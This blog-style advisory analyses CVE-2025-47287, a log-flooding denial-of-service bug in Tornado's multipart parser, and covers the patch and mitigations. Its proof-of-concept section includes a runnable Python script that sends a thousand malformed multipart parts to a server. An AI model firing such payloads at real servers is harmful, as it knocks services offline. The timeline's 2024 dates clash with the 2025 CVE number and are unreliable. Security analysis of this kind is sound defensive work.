CVE-2025-47287: Tornado Multipart Logging Bug Enables DoS Attack
Hey everyone, grab your security hats! Today, we're diving into CVE-2025-47287, a fascinating vulnerability in the popular Python web framework, Tornado. It’s a classic case of good intentions (hello, detailed logging!) paving the road to... well, a Denial of Service (DoS). If your applications rely on Tornado, you'll want to stick around for this one. We'll dissect how a little bit of bad data can make your server work itself into a silent stupor.
TL;DR / Executive Summary
CVE-2025-47287 affects Tornado versions prior to 6.5.0. The vulnerability lies in Tornado's multipart/form-data
parser. When it encounters certain errors in malformed data, it logs a warning but continues parsing. Attackers can exploit this by sending specially crafted multipart form data, triggering an excessive volume of log entries. Because Tornado's logging subsystem is synchronous, this flood of logs can overwhelm the server, leading to a Denial of Service (DoS). The severity is moderate to high depending on the application's reliance on multipart/form-data
and logging infrastructure. Basic mitigation: Upgrade to Tornado 6.5.0 or, as a temporary workaround, block Content-Type: multipart/form-data
requests at a proxy if this functionality isn't critical.
Introduction: When Good Logs Go Bad
Picture this: your server is humming along, handling requests, serving users. Suddenly, it starts to slow down. Response times creep up. Eventually, it becomes unresponsive. You check the usual suspects – CPU, memory, network – and find your server is frantically writing logs, over and over again, about... malformed data? This, in a nutshell, is the scenario CVE-2025-47287 can create.
Tornado is a powerful and scalable non-blocking web server and framework, widely used for applications requiring high performance and concurrency. One of its core features is handling HTTP requests, including those with multipart/form-data
bodies. This content type is the workhorse for file uploads and complex form submissions on the web.
So, why should you, a busy developer or sysadmin, care about how Tornado parses some quirky data? Because this vulnerability demonstrates a subtle but potent attack vector: DoS via logging. It’s not about crashing a process with a buffer overflow, but about forcing the application to spend all its time on a seemingly innocuous task – writing log messages – until it can do nothing else. For any service relying on Tornado, this means potential downtime, frustrated users, and a frantic scramble to figure out what’s choking your server.
Technical Deep Dive: The Devil's in the (Malformed) Details
Let's get our hands dirty and understand what's really going on under the hood with CVE-2025-47287.
Vulnerability Details:
The core of the issue lies in how Tornado's httputil.parse_multipart_form_data
function handled errors. When parsing a multipart/form-data
body, if it encountered an issue (e.g., a missing boundary, malformed headers within a part, a part missing a name), older versions of Tornado would:
- Log a warning message (e.g., "Invalid multipart/form-data: no final boundary", "multipart/form-data missing headers").
- Crucially, continue trying to parse the rest of the multipart body.
An attacker could craft a single HTTP request containing a multipart/form-data
body with numerous malformed parts. Each malformed part would trigger a separate log write.
Root Cause Analysis:
There are two key ingredients to this DoS recipe:
- Persistent Parsing on Error: The parser's decision to log and continue, rather than rejecting the entire request upon the first significant error, is the primary enabler. It’s like a very determined but slightly misguided mail sorter who, upon finding a badly addressed letter, loudly announces the error for that letter, then for the next, and the next, instead of just returning the whole problematic mailbag.
- Synchronous Logging: Tornado's default logging mechanism (
gen_log
) is synchronous. This means when the application writes a log message, the execution of the request-handling code pauses until the log write operation is complete (e.g., written to disk or sent to a logging service).
Imagine a single-lane road (your server's processing thread) with a toll booth (the synchronous logging operation). Each malformed part in the attacker's request is a car that must stop at the toll booth. If an attacker sends a convoy of hundreds or thousands of these "error cars" in one go, the road gets jammed. The server spends all its CPU cycles and I/O bandwidth writing logs, starving legitimate requests.
Attack Vectors:
The attack vector is straightforward: an unauthenticated remote attacker can send a specially crafted HTTP POST request with a Content-Type
of multipart/form-data
. The body of this request would contain data designed to trigger parsing errors repeatedly. For example, many small parts, each missing a required header or having an invalid disposition.
Business Impact:
The impact is primarily a Denial of Service:
- Service Unavailability: Legitimate users can't access the application.
- Resource Exhaustion:
- CPU: Constant logging and error handling can max out CPU.
- Disk I/O & Space: If logging to disk, this can fill up disk space rapidly and cause high I/O wait times.
- Network Bandwidth: If logging to a remote service, it can saturate network links.
- Cascading Failures: Other services relying on the affected Tornado application might also fail.
- Increased Operational Costs: If using cloud-based logging services, a flood of logs can lead to unexpectedly high bills.
Proof of Concept (Theoretical)
While we won't provide a full-blown exploit, let's illustrate how an attacker might craft a request. The goal is to create a multipart/form-data
payload that triggers multiple logging events.
Consider a multipart/form-data
request. Each part is typically separated by a boundary string and contains its own headers (like Content-Disposition
) and data.
An attacker could send a POST request with a body like this (simplified):
POST /upload HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ
Content-Length: [length]
------WebKitFormBoundaryXYZ
Content-Disposition: form-data;
Content-Type: text/plain
Value1
------WebKitFormBoundaryXYZ
Content-Disposition: form-data;
Content-Type: text/plain
Value2
------WebKitFormBoundaryXYZ
Content-Disposition: form-data;
Content-Type: text/plain
Value3
# ... repeat hundreds or thousands of times ...
------WebKitFormBoundaryXYZ--
In the example above, each part is missing the name
parameter in its Content-Disposition
header (e.g., Content-Disposition: form-data; name="fieldName"
). In vulnerable Tornado versions, each of these would trigger a gen_log.warning("multipart/form-data value missing name")
and the parser would continue.
A Python requests
snippet to send such a (theoretical) malformed request might look like:
# Theoretical PoC - DO NOT RUN AGAINST PRODUCTION SYSTEMS
import requests
url = "http://localhost:8888/your_tornado_endpoint" # Target a Tornado endpoint that accepts multipart
boundary = "----MyBoundary"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}"
}
# Craft a body with many malformed parts
# Each part is missing the 'name' parameter in Content-Disposition
malformed_part = f"--{boundary}\r\n"
malformed_part += "Content-Disposition: form-data;\r\n" # Missing 'name'
malformed_part += "Content-Type: text/plain\r\n\r\n"
malformed_part += "some_data\r\n"
payload = malformed_part * 1000 # Repeat many times
payload += f"--{boundary}--\r\n"
try:
print(f"Sending request with {len(payload)} bytes payload...")
# Note: This is a simplified payload. Real multipart is more complex.
# The key is to trigger repeated parsing errors that were previously only logged.
response = requests.post(url, headers=headers, data=payload.encode(), timeout=10)
print(f"Status: {response.status_code}")
# In a vulnerable version, this might timeout or the server might become unresponsive
# while logging excessively.
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
Disclaimer: This is a conceptual PoC. The exact structure to trigger maximum log entries would depend on which specific error conditions in parse_multipart_form_data
are easiest to repeat. The patch shows several conditions that were changed from logging to raising an error, such as "missing headers," "invalid multipart/form-data," and "value missing name."
Mitigation and Remediation: Silencing the Storm
Fortunately, fixing this is straightforward.
Immediate Fixes:
- Upgrade Tornado: The primary solution is to upgrade to Tornado version 6.5.0 or later. This version contains the fix.
pip install --upgrade tornado>=6.5.0
- Proxy-Level Blocking (Temporary): If an immediate upgrade isn't possible, and your application doesn't critically rely on
multipart/form-data
uploads for all endpoints, you can mitigate the risk by blocking requests withContent-Type: multipart/form-data
at a reverse proxy (like Nginx or HAProxy) or a Web Application Firewall (WAF). This is a stop-gap measure and might break legitimate functionality.
Patch Analysis: How the Fix Works
The fix, introduced in PR #3497 and commit b39b892bf78fe8fea01dd45199aa88307e7162f3
, changes the parser's behavior fundamentally. Instead of logging a warning and continuing, the parser now raises an HTTPInputError
exception as soon as it detects a significant malformed structure.
Let's look at a snippet from the diff in tornado/httputil.py
within the parse_multipart_form_data
function:
Before (Vulnerable Code):
# ...
if eoh == -1:
gen_log.warning("multipart/form-data missing headers") # Logs and continues
continue
# ...
if not disp_params.get("name"):
gen_log.warning("multipart/form-data value missing name") # Logs and continues
continue
# ...
After (Patched Code):
# ...
if eoh == -1:
raise HTTPInputError("multipart/form-data missing headers") # Raises error, stops parsing
# ...
if not disp_params.get("name"):
raise HTTPInputError("multipart/form-data missing name") # Raises error, stops parsing
# ...
This HTTPInputError
is then caught by the RequestHandler
in tornado/web.py
, which translates it into an HTTP 400 Bad Request response sent back to the client. This "fail-fast" approach immediately stops processing the malicious request, preventing the log flood and the subsequent DoS.
Long-Term Solutions:
- Keep Dependencies Updated: Regularly update your libraries and frameworks. This is your first line of defense.
- Robust Input Validation: While Tornado now handles this, always practice defense-in-depth. Validate inputs as early and strictly as possible.
- Asynchronous Logging: For high-volume applications, consider implementing asynchronous logging to prevent logging operations from blocking your main application threads.
- Log Monitoring and Alerting: Monitor log volume. A sudden, unexplained spike in logs can be an indicator of an attack or a serious issue. Set up alerts for abnormal log rates.
Verification Steps:
- After upgrading Tornado, deploy your application to a staging environment.
- Attempt to send a malformed
multipart/form-data
request (similar to the PoC concept). - Verify that the server responds with an HTTP 400 error (or similar client error) instead of logging excessively or becoming unresponsive.
- Check server logs to ensure no flood of warnings is occurring for that request.
Timeline of CVE-2025-47287
- Discovery: The issue was likely identified by Tornado maintainers during code review or internal testing. The fix was contributed by Ben Darnell (bdarnell).
- Vendor Notification/Fix Development: The pull request (PR #3497) addressing this was created and merged into the Tornado repository.
- Patch Availability: The fix was included in commit
b39b892bf78fe8fea01dd45199aa88307e7162f3
, merged on May 14, 2024. This fix is part of Tornado version 6.5.0. - Public Disclosure (GitHub Advisory GHSA-7cx3-6m66-7c5m): May 15, 2024.
Lessons Learned: The Quiet Killers
This CVE offers some valuable takeaways:
- Prevention - Fail Fast, Fail Hard: When parsing untrusted input, especially complex formats like
multipart/form-data
, it's generally safer to reject the entire input on the first sign of trouble rather than trying to recover or parse partially. The "log and continue" strategy, while sometimes useful for debugging benign errors, can be a security risk. - Detection - Watch Your Logs (and Their Volume!): Your logging system is a critical security tool, but it can also be a target or an amplifier for attacks. Monitor not just the content of your logs, but also their volume and rate. Anomalies here can be early warnings.
- Key Takeaway: Even "Safe" Operations Can Be Weaponized. Logging is generally considered a safe, essential operation. However, CVE-2025-47287 shows that if an attacker can control the frequency of even a lightweight, synchronous operation, they can cause a significant denial of service. Always consider the performance implications of operations within your request-response cycle, especially those triggered by client input.
References and Further Reading
- GitHub Advisory (GHSA-7cx3-6m66-7c5m): https://github.com/tornadoweb/tornado/security/advisories/GHSA-7cx3-6m66-7c5m
- Tornado Project: https://www.tornadoweb.org
- Relevant Pull Request (Fix): https://github.com/tornadoweb/tornado/pull/3497
- Fixing Commit: https://github.com/tornadoweb/tornado/commit/b39b892bf78fe8fea01dd45199aa88307e7162f3
This vulnerability is a great reminder that security is a multi-layered concern, and even seemingly minor parsing behaviors can have significant impacts. So, go forth, patch your Tornados, and perhaps give your logging configurations a second look!
What's the most unexpected way you've seen a system DoS'd? Share your stories in the comments below!